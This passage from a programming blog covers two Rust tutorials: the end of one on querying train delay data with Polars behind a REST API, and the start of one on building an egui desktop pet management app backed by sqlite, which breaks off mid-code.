            ])])
            .limit(limit)
            .collect()
            .map_err(|e| {
                error!("could not query delay times: {}", e);
                StatusCode::BAD_REQUEST
            })?;

        df_to_json(delays)
    }

We get the df_delays data frame from the app state, clone it so we have an owned value, and call .lazy() to use the above mentioned lazy API.

Then we specify that we want the data sorted by the arrival_delay_m field, or the amount of minutes of delay, in the specified sorting order.

We also select a list of columns to return. Here, we could also use “*” to return all, or transformations to display the returned data in a different way.

Finally, we specify the limit of entries to return and call collect(), which executes the LazyFrame we’re building, giving us a returned DataFrame, or an error if something went wrong.

That’s it for our first query — not so difficult, right? If you have some experience with query languages such as SQL, most of this will be quite familiar.

To return the resulting data frame as JSON via the REST endpoint, we build a small helper function df_to_json:

    fn df_to_json(df: DataFrame) -> Result<Json<Value>, StatusCode> {
        serde_json::to_value(&df)
            .map_err(|e| {
                error!("could not serialize dataframe to json: {}", e);
                StatusCode::INTERNAL_SERVER_ERROR
            })
            .map(|v| v.into())
    }

With the serde feature, data frames are actually serializable, and we can just use serde_json.

This means that they will be in a format specified by Polars, which is well suited for the purposes of data exploration but might not be for other purposes. So in those cases, another data transformation step would be necessary.

Next, let’s look at how we can filter data when implementing the endpoints for fetching population and data values for a given zip code.

Filtering

We will implement both endpoints for fetching the population, as well as the area for a zip code at the same time, because they use the exact same underlying mechanism.

For this purpose, we’ll create a functin cities_zip_to:

    fn cities_zip_to(df_cities: &DataFrame, zip: &str, field: &str) -> Result<DataFrame, StatusCode> {
        df_cities
            .clone()
            .lazy()
            .filter(col("zip").str().contains_literal(lit(zip)))
            .select([col("zip"), col(field)])
            .collect()
            .map_err(|e| {
                error!("could not query {} for zip: {}", field, e);
                StatusCode::BAD_REQUEST
            })
    }

Here, we take the df_cities data frame, clone and lazify it, and then apply a filter operation. In this case, we want to filter on the zip column, making sure we only get results where this column contains the literal string of the zip value that’s being passed into the function.

To use the str() function here, we need the strings feature in Polars, and there is a whole chapter in the documentation on how to deal with strings.

Filters always have to evaluate to boolean types, and we can use multiple filters and even create our own custom filter functions.

Then we use select to get the zip column, as well as the column specified by the field string passed to the function. In our case, this will be either pop or area, depending on what we’re interested in.

With this helper function, the only thing we have to do is call it in both handler functions, which are structured in the same way as the delays handler:

    async fn cities_pop(
        Path(zip): Path<String>,
        app_state: State<Arc<AppState>>,
    ) -> Result<Json<Value>, StatusCode> {
        let pop_for_zip = cities_zip_to(&app_state.as_ref().df_cities, &zip, "pop")?;
        df_to_json(pop_for_zip)
    }

    async fn cities_area(
        Path(zip): Path<String>,
        app_state: State<Arc<AppState>>,
    ) -> Result<Json<Value>, StatusCode> {
        let area_for_zip = cities_zip_to(&app_state.as_ref().df_cities, &zip, "area")?;
        df_to_json(area_for_zip)
    }

One change from the previous handler is that we use the Path to get the zip code instead of the query parameters, but we could use either in this case.

That’s it for our filtering example. Let’s move on to joining both of our data frames by creating an endpoint for getting the amount of delays for a specified zip code.

Using multiple data frames

Now, if you looked at the train delays data set in detail, you might have noticed that it already contains a zip code, so to get the delays of a certain zip code, we wouldn’t actually have to join the two data sets together.

However, to show off the functionality, we’ll do it anyway, and it’ll give us the benefit of being able to display the population of the zip codes together with the amount of delays that happened there, which might provide some insights while exploring the data.

So let’s look at how we can use our data sets joined by zip code, filter by zip code, group the results by this zip code, and show a nice summary of the data with the summed amount of delay minutes for a zip code:

    async fn delays_by_zip(
        Path(zip): Path<String>,
        app_state: State<Arc<AppState>>,
    ) -> Result<Json<Value>, StatusCode> {
        let delays_for_zip = app_state
            .as_ref()
            .df_delays
            .clone()
            .lazy()
            .join(
                app_state.as_ref().df_cities.clone().lazy(),
                [col("zip")],
                [col("zip")],
                JoinArgs::new(JoinType::Inner),
            )
            .group_by(["zip"])
            .agg([
                len().alias("len"),
                col("arrival_delay_m")
                    .cast(DataType::Int64)
                    .sum()
                    .alias("sum_arrival_delays"),
                col("arrival_delay_m").alias("max").max(),
                col("pop").unique().first(),
                col("city").unique().first(),
            ])
            .filter(col("zip").str().contains_literal(lit(zip.as_str())))
            .collect()
            .map_err(|e| {
                error!("could not query delay times by zip {}: {}", zip, e);
                StatusCode::BAD_REQUEST
            })?;

        df_to_json(delays_for_zip)
    }

The structure of the handler looks the same as before. We get the zip code via the Path and get the train delay data from the application state.

But then we use join() with our zip codes data set and join the two data sets on the zip column. If you look closely, you’ll notice that we use an Inner join. These join types are essentially the same you might know from a relational database, but Polars has a few extra, which you can check out here.

In any case, here we are only interested in data points where both data sets have the corresponding zip code.

Then, we use group_by on the zip column, which aggregates all the values with the same zip code (in this case all, since we’re filtering for the zip code later down the query). Together with group_by, we use .agg() to aggregate data in different columns to create our resulting data output.

Here we specify a len column, which gives us the amount of rows which were grouped together for this result. Then, we sum up the arrival_delay_m to get the sum of delay minutes over all the delays of this zip code.

We also calculate the maximum value and select the population and city for the delays, and since we group by zip, these will be the same for each row, and if we didn’t call .unique(), we’d get a list of duplicated populations and city names. So, we transform this into one singular value.

After that, we use the same filter that we used before for filtering for the zip code, and we’re done!

Those were quite a few transformations and expressions, but Polars DSL for building these, paired with the fantastic documentation for expressions, makes this quite approachable.

Determining linear correlations

Finally, let’s implement our last REST API endpoint. For this endpoint, we’d like to make it possible for the caller to specify two fields: field1 and field2 between which we calculate a correlation coefficient.

This coefficient can give us information on whether there is a linear relation between two sets of data. The result is between -1 and 1, and a value closer to 1 means that there is a stronger linear relation and vice versa.

Now, to properly calculate such a relation and make statistically significant statements on the data set, we’d have to handle missing data and properly make sure we have all values normalized and in a proper format.

However, for the purpose of this example, we’ll just calculate it using Polars on fields of our data set and see if we can figure out some interesting relations.

Polars provides multiple ways of doing this, but in this case, we’ll use the Pearson Correlation Coefficient calculated by the pearson_corr method.

So in our handler, we’ll join the two data sets together again so we can, for example, correlate something with the population and area as well, and then calculate the correlation coefficient for the given fields:

    async fn delays_corr(
        Path((field_1, field_2)): Path<(String, String)>,
        app_state: State<Arc<AppState>>,
    ) -> Result<Json<Value>, StatusCode> {
        let corr = app_state
            .as_ref()
            .df_delays
            .clone()
            .lazy()
            .join(
                app_state.as_ref().df_cities.clone().lazy(),
                [col("zip")],
                [col("zip")],
                JoinArgs::new(JoinType::Inner),
            )
            .select([
                len(),
                pearson_corr(col(&field_1), col(&field_2), 0)
                    .alias(&format!("corr_{}_{}", field_1, field_2)),
            ])
            .collect()
            .map_err(|e| {
                error!(
                    "could not query delay time correlation between {} and {}: {}",
                    field_1, field_2, e
                );
                StatusCode::BAD_REQUEST
            })?;

        df_to_json(corr)
    }

The query is similar to the previous endpoint, but we don’t group or aggregate. Rather, we simply select the length of the data used, which should be all rows, as a sanity check, and then we use the pearson_corr function on the given fields.

If the fields don’t exist, or aren’t suitable for this type of check, we’ll get an error or an empty result (e.g. if we try to correlate a numeric and a text field).

The rest of the handler is the same as before, with getting our field values from the Path and returning a JSON result at the end.

That’s it for our queries and our REST API for exposing them — let’s test and see if what we created here actually works!

Testing

We’ll start the server using the RUST_LOG=info cargo run command and send requests to it using curl.

Let’s start querying our first endpoint — the one that returns a number of sorted delays. First, without any parameters:

    curl "http://localhost:8000/delays"

And we get this response:

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "String",
          "name": "ID",
          "values": [
            "3699442958790718514-2407081448-7",
            "3699442958790718514-2407081448-9",
            ...
          ]
        },
        {
          "bit_settings": "SORTED_DSC",
          "datatype": "Int64",
          "name": "arrival_delay_m",
          "values": [
            159,
            157,
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "departure_delay_m",
          "values": [
            159,
            157,
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "String",
          "name": "city",
          "values": [
            "Essen",
            "Düsseldorf",
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "zip",
          "values": [
            45127,
            40210,
            ...
          ]
        }
      ]
    }

This is just the DataFrame serialized as JSON, and in a real world application, we might want to format the data in a different way as to make it easier to work with on the frontend, but that depends greatly on the use case.

Let’s parameterize the query and see if that works as well:

    curl "http://localhost:8000/delays?sorting=Asc&limit=5"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "String",
          "name": "ID",
          "values": [
            "7142163727799764498-2407122312-7",
            "-2290364085225859300-2407120928-11",
            ...
          ]
        },
        {
          "bit_settings": "SORTED_ASC",
          "datatype": "Int64",
          "name": "arrival_delay_m",
          "values": [
            0,
            0,
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "departure_delay_m",
          "values": [
            0,
            0,
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "String",
          "name": "city",
          "values": [
            "Bietigheim-Bissingen",
            "Ochsenfurt",
            ...
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "zip",
          "values": [
            74321,
            97199,
            ...
          ]
        }
      ]
    }

And we see that works as well — nice!

Let’s also see if our zip-based queries work.

First, the query to find out the population for a specific zip code:

    curl "http://localhost:8000/cities/52062/population"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "zip",
          "values": [
            52062
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "pop",
          "values": [
            15989
          ]
        }
      ]
    }

Great, that works. Let’s try the same for the area:

    curl "http://localhost:8000/cities/52062/area"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "zip",
          "values": [
            52062
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Float64",
          "name": "area",
          "values": [
            1.639112
          ]
        }
      ]
    }

Perfect, we have 15,989 people living in an area of 1,639 km², which seems correct based on the data origin.

Next, let’s test querying both data sets, getting the number of delays for a specific zip code:

    curl "http://localhost:8000/delays/80331/"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "zip",
          "values": [
            80331
          ]
        },
        {
          "bit_settings": "",
          "datatype": "UInt32",
          "name": "len",
          "values": [
            22358
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "sum_arrival_delays",
          "values": [
            70352
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Int64",
          "name": "max",
          "values": [
            36
          ]
        },
        {
          "bit_settings": "SORTED_ASC",
          "datatype": "Int64",
          "name": "pop",
          "values": [
            4741
          ]
        },
        {
          "bit_settings": "SORTED_ASC",
          "datatype": "String",
          "name": "city",
          "values": [
            "München"
          ]
        }
      ]
    }

We can see that at “80331” in Munich, there were 22,358 delays, summing up to 70,352 minutes, with a maximum singular delay of 36 minutes. Cool!

Finally, let’s see if our endpoint for determining correlations works. First, let’s examine if there is a correlation between the delay at arrival and the delay at departure. We would definitely expect to find a high correlation there. (Above-mentioned caveats apply):

    curl "http://localhost:8000/delays/corr/arrival_delay_m/departure_delay_m/"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "UInt32",
          "name": "len",
          "values": [
            2050194
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Float64",
          "name": "corr_arrival_delay_m_departure_delay_m",
          "values": [
            0.9555141639554701
          ]
        }
      ]
    }

And sure enough, we find a correlation coefficient of 0.956, which points to a strong linear correlation. We can also see that all two million or so entries were used for this query.

Let’s see if there is a correlation between the arrival delay and the amount of people living at a zip code:

    curl "http://localhost:8000/delays/corr/arrival_delay_m/pop/"

    {
      "columns": [
        {
          "bit_settings": "",
          "datatype": "UInt32",
          "name": "len",
          "values": [
            2050194
          ]
        },
        {
          "bit_settings": "",
          "datatype": "Float64",
          "name": "corr_pop_arrival_delay_m",
          "values": [
            0.0049400151164128055
          ]
        }
      ]
    }

Nope, doesn’t seem like it based on our data set. While in big cities there will likely be more delays, because there are simply more trains (and maybe other factors), the same doesn’t hold for singular zip codes.

But again, at this level, we’re essentially still playing with the data and not finding any statistically significant results.

In any case, it seems our implementation works, and it’s now possible to explore and play around with the data set via REST calls, which was the goal. Woohoo!

You can find the full code for this example on GitHub (this doesn’t include the data files — you’ll have to fetch them on your own from the links mentioned below).

Polars concepts

One of the main selling points of Polars over similar solutions such as Pandas is performance. Polars is written in highly optimized Rust and uses the Apache Arrow container format.

Besides the Rust API, Polars also exposes a Python API, but in this article, we only focused on using the Rust API to check out Polars’ data analysis capabilities.

Now, if you’ve never done any data analysis work, you might ask “Why would I use this at all?” Well, data is everywhere, and almost regardless of what you do, taking a look at the data around the thing you do and analyzing it from different perspectives will likely give you interesting insights into how to improve things.

For example, if you collect usage data for a frontend application, or performance data, event logs, errors logs, or really anything you can imagine, there are likely treasure troves of insights hidden into these data sets.

You can then analyze those same datasets using a tool such as Polars. This could result in insights that help improve user flows and increase traffic, engagement, and conversion.

Another use case would be to expose an existing data set and make it available to a frontend application with advanced querying capabilities so that the application can leverage the data.

But first, let’s learn a little more about Polars.

As mentioned above, Polars is a dataframe interface library. So what’s a dataframe? Essentially, it’s just data laid out in a two-dimensional way with rows and columns. Polars is a tool that enables us to query such data frames with very high performance and make it as easy as possible to formulate these, at times, very complex queries.

If you want to get into Polars, the library is very well documented, and I’d recommend you check out their getting started tutorial, their API docs, and when you’re all set up, you can also check out their Cookbooks to learn about many of the standard operations within Polars.

When you start working with Polars, the first step is to import data into the application, and there are multiple ways to do so, depending on the data format you’re working with. Polars supports several data formats, and it’ll depend on whether you want to load all the data at once or lazily import the data as needed.

Once the data is imported, you have your first DataFrame, although you can also use the nifty df! macro to manually create a data frame for playing around.

The next step is to inspect the data by printing it, or rather printing a part of it using the head or tail functions. If you have a wide data frame, you won’t see all the data in the printed out form, but you can increase the amount of printed columns using the POLARS_FMT_MAX_COLS=100 environment variable.

Upon inspecting your data, you will notice, that different columns have different data types. When you want to operate on data, you will encounter the concept of contexts, such as select, filter, and group_by.

These contexts work together with expressions (such as col, sort, sum, unique etc.) to orchestrate queries. You can also create custom expressions, but there is already a large library of common ones available, which should be enough for most use cases.

Getting familiar with the different expressions and how to orchestrate them to get results is one of the main learning areas when starting to use Polars for data analysis.

Beyond that, there is the concept of transformations, which has to do with merging data frames together, or transforming a data frame to a differently structured data frame.

Another important distinction in Polars is the one between eager and lazy evaluation. Essentially, you can create a query lazily and then execute it on-demand, which means certain optimizations can be run that can’t be run otherwise.

Or, you can run it eagerly, which executes immediately. The trade offs are discussed in the docs, but from my perspective, it almost always makes sense to use the lazy API, as you can execute the lazy queries in an eager fashion as well.

Conclusion

In this article, we took a look at Polars and how to use it with Rust for high-performance data analysis tasks. We also checked out how we can expose this data analysis capability via a REST API so it can be explored and consumed by frontend web clients.

Polars has made immense progress over the last few years and is on a trajectory to be one of the most widely used and best performing libraries for data analysis. Due to its fantastic documentation and similarity in API to other solutions in the space, the barrier to entry is low, and one can start getting their hands dirty with data shortly after installation.

Building cross-platform GUI apps in Rust using egui

06 Sep 2024 00:00 +0000

This post was originally posted on the LogRocket blog on 21.08.2024 and was cross-posted here by the author.

Ever since the rise of Electron, which lead to a bit of a renaissance of cross-platform desktop applications using web-technology, the limitations of this approach became apparent. Slow start-up times, very high resource usage, and simply the limits of web-technology to build high-fidelity GUI applications continue to plague users of the many Electron-based applications to this day.

Electron made building cross-platform desktop apps a lot more approachable than approaches before it, but it certainly wasn’t the answer to everything. The problem of building rich, highly performant, robust cross-platform applications is still an unsolved one, and the promise of “build once, run anywhere” still hasn’t been manifested in any piece of technology currently available.

However, with the new gained interest in cross-platform desktop apps and improvements on the web platform along the lines of WebGL/WebGPU, as well as WebAssembly, many interesting projects spawned, which attempt to take the next steps in the quest of building a foundation for cross-platform GUI applications.

One of these projects, which is built using Rust, is egui. In this article, we’ll see how we can build a simple, cross-platform GUI application with it.

We’re going to build a very simple pet management app, which will enable us to add and delete pets and which shows us a list and a detail view.

To make the whole thing a bite more interesting, we’ll use an sqlite database for data storage, and we’ll fetch a random image of a cat or dog whenever a pet detail page is opened.

But first, let’s learn a bit more about egui and why it’s interesting.

egui / eframe

Egui is a Rust-based, immediate mode GUI library/framework focused on ease of use, responsiveness, and portability.

But wait, what does “immediate mode” mean? Well, within the world of graphical user interfaces, there are two general ways to build applications — retained mode and immediate mode, with retained mode covering most of what you probably know when it comes to GUI frameworks (e.g. QT, or the DOM).

Immediate mode, which I found first mentioned in this video by Casey Muratori in 2005, takes a different approach to retained mode UI, by simplifying the approach for interaction.

Instead of adding callback handlers to elements, such as buttons, with the element being “retained” in the GUI application and only changed on-demand, in immediate-mode, every element on the screen is rendered on each frame, so any interaction is immediate.

This difference brings some trade-offs. For example, complex layouting is a lot harder in immediate-mode GUIs because you don’t have as much information on each frame. There are workarounds for this, but it’s easier in retained-mode GUI.

Generally, building and reasoning about immediate-mode GUIs is much simpler because interaction is more synchronous, which removes the problem of application state and what’s rendered on the screen being out of sync. This is a central problem in retained mode GUIs.

The most well known immediate mode GUI framework, which egui is also inspired by, is Dear imgui. The egui repository also has a section on the trade offs when it comes to immediate mode GUIs, which I would definitely recommend you check out.

Customization and Accessibility

An interesting aspect of egui is that egui is actually just a library for building a GUI, not a framework. But there is also a framework called eframe, which adds the surroundings to build an actual app.

The library, egui can be integrated into different frameworks, such as game engines, which makes for nice reusability and modularity.

An important aspect of any GUI library or framework is the possibility of customization, and egui has got you covered there.

You can see on their fantastic demo page, which not only shows all the available widgets and some great demo apps, but also debugging tools and customization options applied on-the-fly, so feel free to play around with it before diving in deeper.

Egui also has great docs and many, many examples, which are built to educate and show the capabilities of the library:

Another interesting aspect of egui is that it integrates AccessKit, a cross-platform framework for accessibility.

Even though AccessKit, at the time of writing, doesn’t have a fully functioning implementation for the web, it looks like a very promising project to make implementing accessibility features for each platform a lot easier.

Cross-platform and the web

As mentioned in the beginning, the goal of egui is to be a cross-platform GUI application library. Using eframe_template, one is able to build applications for Linux, Mac, Windows, Android and the web using WebGL/WebGPU and WASM.

Support for the different platforms is still in a maturing phase, but for desktop it works stably already. Due to the approach when it comes to the web, there are some limitations, so egui is certainly not a replacement for building any and all web applications, but it also doesn’t try to be or advertise itself as such.

However, when you look at the demo applications on the demo page, it’s quite impressive what’s already possible using egui even in its most limited environment.

In the example in this article, we’ll build a desktop-first app, which we won’t be able to compile to WASM because we use sqlite as a data storage.

However, with a few platform-dependent changes and eframe_template, we could use a different data storage when building for WASM, and we could make it work for the web as well, but this is out of the scope of this post.

Let’s start building our app!

Setup

To follow along, all you need is a reasonably recent Rust installation, with 1.79 being the latest one at the time of this writing.

First, create a new Rust project:

cargo new rust-egui-example
cd rust-egui-example

Next, edit the Cargo.toml file and add the dependencies you’ll need:

[dependencies]
sqlite = "0.36.0"
anyhow = "1.0.82"
eframe = { version = "0.28.0", features = ["wgpu"] }
env_logger = "0.11.3"
log = "0.4.21"
ehttp = { version = "0.5.0", features = ["json"] }
serde = { version = "1.0.203", features = ["derive"] }
egui_extras = { version = "0.28.0", features = ["all_loaders"] }
image = { version = "0.25", features = ["jpeg", "png"] }

We add the egui and eframe dependencies, as well as egui_extras, which allow us to use image-loading functionality together with the image crate.

We also add ehttp for fetching the random animal images and serde for serialization and deserialization. Additionally, we need sqlite for our data storage, and we add anyhow for easier error handling and env_logger and log for logging capabilities.

And with that, we can start building our app!

Data model

First, we’ll define our underlying data model. We’re building a pet management app, so we need a Pet type. We also decided to use sqlite for data storage, so we’ll need a setup for working with our data model using SQL:

#[derive(Debug, PartialEq, Clone)]
struct PetKind(String);

#[derive(Debug, PartialEq, Clone)]
struct Pet {
    id: i64,
    name: String,
    age: i64,
    kind: PetKind,
}

The Pet type is quite simple and consists of an id, name, age and kind. Of course, we could add many more interesting attributes, but we’ll keep it simple.

The next step is to create the table in our sqlite database:

CREATE TABLE IF NOT EXISTS pets (
    id INTEGER PRIMARY KEY,
    name TEXT NOT NULL,
    age INTEGER NOT NULL,
    kind TEXT NOT NULL
);

INSERT INTO pets (name, age, kind) VALUES ('minka', 9, 'cat');
INSERT INTO pets (name, age, kind) VALUES ('nala', 7, 'dog');

This is simply a mirror of our Pet type. We can also define the queries we’ll use for the operations we’ll need.

Fetch a pet from the database by its id
Fetch all pets from the database
Insert a pet into the database
Delete a pet from the database

const GET_PET_BY_ID: &str = "SELECT id, name, age, kind FROM pets where id = ?";
const DELETE_PET_BY_ID: &str = "DELETE FROM pets where id = ?";
const INSERT_PET: &str =
    "INSERT INTO pets (name, age, kind) VALUES (?, ?, ?) RETURNING id, name, age, kind";
const GET_PETS: &str = "SELECT id, name, age, kind FROM pets";

Now, all we have to do is to set up a connection to an sqlite database in our application and run the query within our initialization script above on startup.

In this case, we’ll use an in-memory version of sqlite, which makes testing easier. This means that the database will be reset every time the application is started, which is fine for testing, but would of course have to be changed if we were to build a production version of this app:

fn load_init_sql() -> std::io::Result<String> {
    fs::read_to_string("./init.sql")
}

fn main() -> Result<()> {
    env_logger::init();
    ...
    let init_query = load_init_sql().expect("can load init query");
    let db_con = sqlite::open(":memory:").expect("can create sqlite db");
    db_con
        .execute(init_query)
        .expect("can initialize sqlite db");
    ...
}

We load the database initialization script, open a connection to the in-memory sqlite database, and execute the script, initializing our database.

Next, let’s define helper functions for the above-mentioned data fetching and storage operations. Each of them will take the db_con but wrapped inside an Arc<Mutex<>>. The reason for that is that the sqlite::Connection on it’s own can’t be safely shared across threads, so we have to lock it and make sure all references to it are accounted for.

Why would we even want to share it across threads, though? Couldn’t we just use the connection and synchronously execute the queries whenever we need to on the main thread?

We could, but since this is supposed to be a highly interactive GUI application, blocking the main thread is not a great idea. If the user clicked a button, the UI would become unresponsive until all queries triggered by the button press finished.

This is not the behavior we’re aiming for, and so we’re going to build a simple event-passing system, which lets the main thread send events to a background thread, which will then do data fetching work asynchronously and notify the main thread when the data is available.

Let’s look at the data operations helpers. We’ll start with inserting new pets into the database:

fn insert_pet_to_db(db_con: Arc<Mutex<sqlite::Connection>>, pet: Pet) -> Result<Pet> {
    let con = db_con
        .lock()
        .map_err(|_| anyhow!("error while locking db connection"))?;
    let mut stmt = con.prepare(INSERT_PET)?;
    stmt.bind((1, pet.name.as_str()))?;
    stmt.bind((2, pet.age))?;
    stmt.bind((3, pet.kind.0.as_str()))?;

    if stmt.next()? == sqlite::State::Row {
        let id = stmt.read::<i64, _>(0)?;
        let name = stmt.read::<String, _>(1)?;
        let age = stmt.read::<i64, _>(2)?;
        let kind = stmt.read::<String, _>(3)?;

        return Ok(Pet {
            id,
            name,
            age,
            kind: PetKind(kind),
        });
    }

    Err(anyhow!("error while inserting pet"))
}

First, we need to acquire a lock to our shared database connection, so we’re sure that we’re the only ones using it. Then, we create a prepared statement with the above defined query and bind the incoming values to their respective counterparts in the query.

Then, we execute the query and create a new Pet from the returned row. If the operation fails, we propagate the error.

Let’s look at deleting a pet next:

fn delete_pet_from_db(db_con: Arc<Mutex<sqlite::Connection>>, pet_id: i64) -> Result<()> {
    let con = db_con
        .lock()
        .map_err(|_| anyhow!("error while locking db connection"))?;
    let mut stmt = con.prepare(DELETE_PET_BY_ID)?;
    stmt.bind((1, pet_id))?;

    if stmt.next()? == sqlite::State::Done {
        Ok(())
    } else {
        Err(anyhow!("error while deleting pet with id {}", pet_id))
    }
}

Deleting a pet is quite simple. We acquire a lock to our database connection and simply execute the deletion query, handling any occurring errors:

fn get_pet_from_db(db_con: Arc<Mutex<sqlite::Connection>>, pet_id: i64) -> Result<Option<Pet>> {
    let con = db_con
        .lock()
        .map_err(|_| anyhow!("error while locking db connection"))?;
    let mut stmt = con.prepare(GET_PET_BY_ID)?;
    stmt.bind((1, pet_id))?;

    if stmt.next()? == sqlite::State::Row {
        let id = stmt.read::<i64, _>(0)?;
        let name = stmt.read::<String, _>(1)?;
        let age = stmt.read::<i64, _>(2)?;
        let kind = stmt.read::<String, _>(3)?;

        return Ok(Some(Pet {
            id,
            name,
            age,
            kind: PetKind(kind),
        }));
    }
    Ok(None)
}


fn get_pets_from_db(db_con: Arc<Mutex<sqlite::Connection>>) -> Result<Vec<Pet>> {
    let con = db_con
        .lock()
        .map_err(|_| anyhow!("error while locking db connection"))?;
    let mut pets: Vec<Pet> = vec![];
    let mut stmt = con.prepare(GET_PETS)?;

    for row in stmt.iter() {
        let row = row?;
        let id = row.read::<i64, _>(0);
        let name = row.read::<&str, _>(1);
        let age = row.read::<i64, _>(2);
        let kind = row.read::<&str, _>(3);

        pets.push(Pet {
            id,
            name: name.to_owned(),
            age,
            kind: PetKind(kind.to_owned()),
        });
    }
    Ok(pets)
}

Fetching a single pet from the database and fetching all pets are quite similar. In both cases, we again acquire a lock to the database connection, prepare the statement using the query, execute the query, and build our output data from the data in the returned rows.

That’s it for our data model and data access!

We mentioned above that we want to fetch random images for cats and dogs to make the application feel a bit more alive, so let’s implement that part next.

Fetching random images for cats and dogs

For fetching dog images, we’ll use https://dog.ceo/api/breeds/image/random and for cats we’ll use https://api.thecatapi.com/v1/images/search.

Both of these APIs let us do quite a few queries free of charge, which is nice for testing. If we do a couple test requests, we can see how the returned data looks like, and we can create a data model for the JSON responses of both APIs:

#[derive(Debug, Deserialize)]
struct CatJSON {
    #[serde(alias = "0")]
    item: CatJSONInner,
}

#[derive(Debug, Deserialize)]
struct CatJSONInner {
    url: String,
}

#[derive(Debug, Deserialize)]
struct DogJSON {
    message: String,
}

We use serde::Deserialize to be able to deserialize the returned JSON to our types. The next step is to use the ehttp crate to create an HTTP request to the respective APIs, parse the response, and handle the URLs we get:

fn fetch_pet_image(ctx: egui::Context, pet_kind: PetKind, sender: Sender<Event>) {
    let url = if pet_kind.0 == "dog" {
        "https://dog.ceo/api/breeds/image/random"
    } else {
        "https://api.thecatapi.com/v1/images/search"
    };
    ehttp::fetch(
        ehttp::Request::get(url),
        move |result: ehttp::Result<ehttp::Response>| {
            if let Ok(result) = result {
                let image_url = if pet_kind.0 == "dog" {
                    if let Ok(json) = result.json::<DogJSON>() {
                        Some(json.message)
                    } else {
                        None
                    }
                } else if let Ok(json) = result.json::<CatJSON>() {
                    Some(json.item.url)
                } else {
                    None
                };
                let _ = sender.send(Event::SetPetImage(image_url));
                ctx.request_repaint();
            }
        },
    );
}

If we look at the function signature, we see egui::Context, PetKind, and Sender<Event>. What are these, and what do we need them for?

We need egui::Context to request a repaint of the GUI, once we finish fetching our data. This is equivalent to letting the rendering thread know that we have new data, and it needs to re-render to display that data. Otherwise, if no interaction happened, it could be that the UI stays static to preserve battery life and doesn’t show the new data.

The PetKind is simply for checking, whether we are fetching an image for a cat or a dog, and the Sender<Event> is the sending part of a std::sync::mpsc channel, which enables us to send back data to the main rendering thread, which can then be received and handled from there.

We’ll take a look at how this event handling mechanism works in the next section.

Event handling

As mentioned above, we need a way to asynchronously fetch data without blocking the main rendering thread. However, we also need a way to communicate between this background thread and the main thread. For this purpose, we’ll use two std::sync::mpsc channels — one for sending events to the background thread and for receiving them there, and one for sending back data to the main thread and receiving the data there:

fn main() -> Result<()> {
    ...
    let (background_event_sender, background_event_receiver) = channel::<Event>();
    let (event_sender, event_receiver) = channel::<Event>();
    ...
    std::thread::spawn(move || {
        while let Ok(event) = background_event_receiver.recv() {
            let sender = event_sender.clone();
            handle_events(event, sender);
        }
    });
    ...
}

In the main function, we create the two channels, each with their Sender and Receiver ends.

Then, we spawn a new thread — our background thread — and within that, we wait for events on the background_event_receiver and for each event, handle the event, and send the data back to the main thread using event_sender, the Sender part of the main thread channel.

Next, we define the Event type, which is an enum that contains all the different event types we’re going to need within the application:

enum Event {
    SetPets(Vec<Pet>),
    GetPetImage(egui::Context, PetKind),
    SetPetImage(Option<String>),
    GetPetFromDB(egui::Context, Arc<Mutex<sqlite::Connection>>, i64),
    SetSelectedPet(Option<Pet>),
    InsertPetToDB(egui::Context, Arc<Mutex<sqlite::Connection>>, Pet),
    DeletePetFromDB(egui::Context, Arc<Mutex<sqlite::Connection>>, i64),
}

SetPets — sets a new list of fetched pets in the AppState of the application
GetPetImage — fetches a new random image for a given kind of pet
SetPetImage — sets the fetched pet image in the AppState
GetPetFromDB — fetches a pet with the given id (i64) from the database
SetSelectedPet — sets the selected pet in the AppState of the application
InsertPetToDB — adds a new pet to the database
DeletePetFromDB — deletes a pet from the database

Then, we implement the handle_events function, which is called inside the background thread:

fn handle_events(event: Event, sender: Sender<Event>) {
    match event {
        Event::GetPetImage(ctx, pet_kind) => {
            fetch_pet_image(ctx, pet_kind, sender);
        }
        Event::GetPetFromDB(ctx, db_con, pet_id) => {
            if let Ok(Some(pet)) = get_pet_from_db(db_con, pet_id) {
                let _ = sender.send(Event::SetSelectedPet(Some(pet)));
                ctx.request_repaint();
            }
        }
        Event::DeletePetFromDB(ctx, db_con, pet_id) => {
            if delete_pet_from_db(db_con.clone(), pet_id).is_ok() {
                if let Ok(pets) = get_pets_from_db(db_con) {
                    let _ = sender.send(Event::SetPets(pets));
                    ctx.request_repaint();
                }
            }
        }
        Event::InsertPetToDB(ctx, db_con, pet) => {
            if let Ok(new_pet) = insert_pet_to_db(db_con.clone(), pet) {
                if let Ok(pets) = get_pets_from_db(db_con) {
                    let _ = sender.send(Event::SetPets(pets));
                    let _ = sender.send(Event::SetSelectedPet(Some(new_pet)));
                    ctx.request_repaint();
                }
            }
        }
        _ => (),
    }
}

We match on the incoming event, fetch the data, send the data back using the Sender<Event>, and call ctx.request_repaint() to trigger a new update on the rendering thread.

In the case of deleting a pet, we fetch a new list of pets from the database, so the change is reflected in the displayed list. For inserting a new pet, we do the same and also set the selected_pet in the AppState to the newly created pet, hence navigating to it on creation.

This is one half of the event handling logic, the one in the background thread. But there needs to be a counterpart in the rendering thread, which checks the channel for data sent from the background thread, which then gets applied to the AppState, which in turn leads to the GUI being updated.

This part is implemented in handle_gui_events within the PetApp type, which we’ll get to know in the next and final section:

    fn handle_gui_events(&mut self) {
        while let Ok(event) = self.event_receiver.try_recv() {
            match event {
                Event::SetPetImage(pet_image) => {
                    self.app_state.pet_image = pet_image;
                }
                Event::SetSelectedPet(pet) => self.app_state.selected_pet = pet,
